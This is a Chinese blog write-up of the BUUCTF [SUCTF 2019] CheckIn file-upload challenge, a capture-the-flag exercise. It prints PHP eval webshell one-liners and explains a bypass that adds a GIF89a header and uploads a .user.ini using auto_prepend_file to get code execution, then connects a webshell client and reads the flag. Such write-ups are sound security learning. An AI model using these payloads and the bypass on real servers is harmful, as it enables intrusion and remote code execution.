BUUCTF__[SUCTF 2019]CheckIn_题解

一、前言

  • 最近有点烦,感觉自己什么都不会。估计是在家待的太久了,浪费了很多时间。
  • 这学期不开学了,真烦,被网课折磨,这都快期末了。

二、看题

  • 一个文件上传的题目,而且给了源码,但可能没有也能做。
  • 不过我看wp都看的很懵。
    在这里插入图片描述
  • 先尝试上传一张正常的图片,回显了文件目录
    在这里插入图片描述
  • 再尝试上传php一句话木马。提示非法后缀
  • <?php @eval($_POST['post']) ?>
    在这里插入图片描述
  • 再尝试改一下文件后缀,提示有 <? 应该是黑名单过滤。
    在这里插入图片描述
  • 所以尝试用 <script language="php">eval($_POST['a']);</script> ,提示这不是图片
    在这里插入图片描述
  • 注意前面的 exif_imagetype 这是图片用来判断文件类型的函数,在给出的源码也能发现。
  • 然后呢?然后呢?然后呢?

三、研究

一句话木马变形

  • 说一下一句话木马,天真的我以为只有<?php @eval($_POST['post']) ?>
  • 然而还是太天真了,一句话木马有很多姿势,是值得深入研究的内容,毕竟危害太大了,可以为所欲为。
  • 一句话木马常见的可以是用php、jsp、asp、aspx写的,看蚁剑连接方式就能发现。而且内容远远不是这么简单。可以自行了解。
  • 所以我们需要让一句话木马里没有 <? 所以用了 <script language="php">eval($_POST['a']);</script> ,但本质上还是 PHP 一句话木马,因为执行函数还是 PHP 的 eval()

绕过文件检测

  • 首先了解到用的是 exif_imagetype() 函数检测文件类型。
  • 简单的说,这个函数是通过检测你上传的文件名的文件头来确定文件类型。文件头通常在文件开头几个字节,相当于一个标识符。具体可以自行了解。
  • 所以我们只要在文件开头加上图片的文件头,就会会认为是图片文件。
  • 但仍然无法直接上传 PHP 文件。因为文件后缀正则匹配了ph、而且对大小写不敏感。
 if (preg_match("/ph|htacess/i", $extension)) {
        die("illegal suffix!");
    }
  • 所以我们如果上传图片马得有办法让它被当作 PHP 文件执行。所以重点来了。

执行图片马

  • 目前已知可以上传修改文件名和条件文件头的php文件,但无法被解析。
  • 虽然在apache中,可以用 .htacess文件来实现,可也被正则了。
.user.ini
  • 简单的说,我们应该知道 PHP 中的配置文件 php.ini ,很多操作都需要修改它,比如说可以隐藏报错、修改上传文件限制等。
  • 而我们要用的 .user.ini也是 PHP 的一个配置文件,但没有 php.ini 等级高。就像admin用户和普通用户的差别,php.ini 有很多配置权限,但 .user.ini没有。详情了解,可以看看这个
  • 但仍然可以帮助我们执行图片马原因有以下的配置选项。
auto_prepend_file 或 auto_append_file
  auto_prepend_file 在页面顶部加载文件      
  auto_append_file  在页面底部加载文件
  • 什么意思呢,相当于在每个php页面加上一句 include() ,可以在PHP中加载执行另一个PHP文件。
  • 注意,是每个,也就是说只要有 PHP 文件被加载,就会去加载执行这个文件,而且是以 PHP 的方式解析。
  • 所以,我们上面绕过了了文件验证,上传了一个 .user.ini 文件,再上传一个图片马,让被执行的 PHP 文件去包含执行我们的图片马,就可以用蚁剑连接来得到flag。

四、解题

  • 首先我们先创建一个图片马。

  • 最简单的方式就是先上传一个后缀名为 GIF的 PHP 文件,再抓包加上文件头文本 GIF89a ,或者把文件用winhex或其它工具十六进制打开,在文件头加上相应的十六进制数。当然也可以用 png 或 jpg 形式的图片马,只不过添加文件头只能通过加十六进制数而已,还是抓包简单。
    在这里插入图片描述

  • 成功传入图片马,再上传 包含auto_prepend_file配置选项的.user.ini文件,让它去包含我们上传的图片马。
    在这里插入图片描述

  • 成功传入.user.ini 同时,知道了存在被执行的index.php 文件,同时知道了文件路径,所以用蚁剑来连接。

      http://69a5ba54-c3eb-4c89-95f2-648ef5626820.node3.buuoj.cn/uploads/48cd8b43081896fbd0931d204f947663/index.php     
    

在这里插入图片描述

  • 连接成功,寻找flag,直接终端用 linux 命令行 cat /flag 得到 flag
    在这里插入图片描述
  • 结束,有一点是会不定时清理上传的文件,连接失败了可以再尝试上传一次。

五、最后

  • 接触到了新的知识点 , .user.ini ,学到了文件上传新姿势。
  • 附上原题链接
  • 持续更新BUUCTF题解,写的不是很好,欢迎指正。
  • 最后欢迎来访 个人博客
  • 2
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值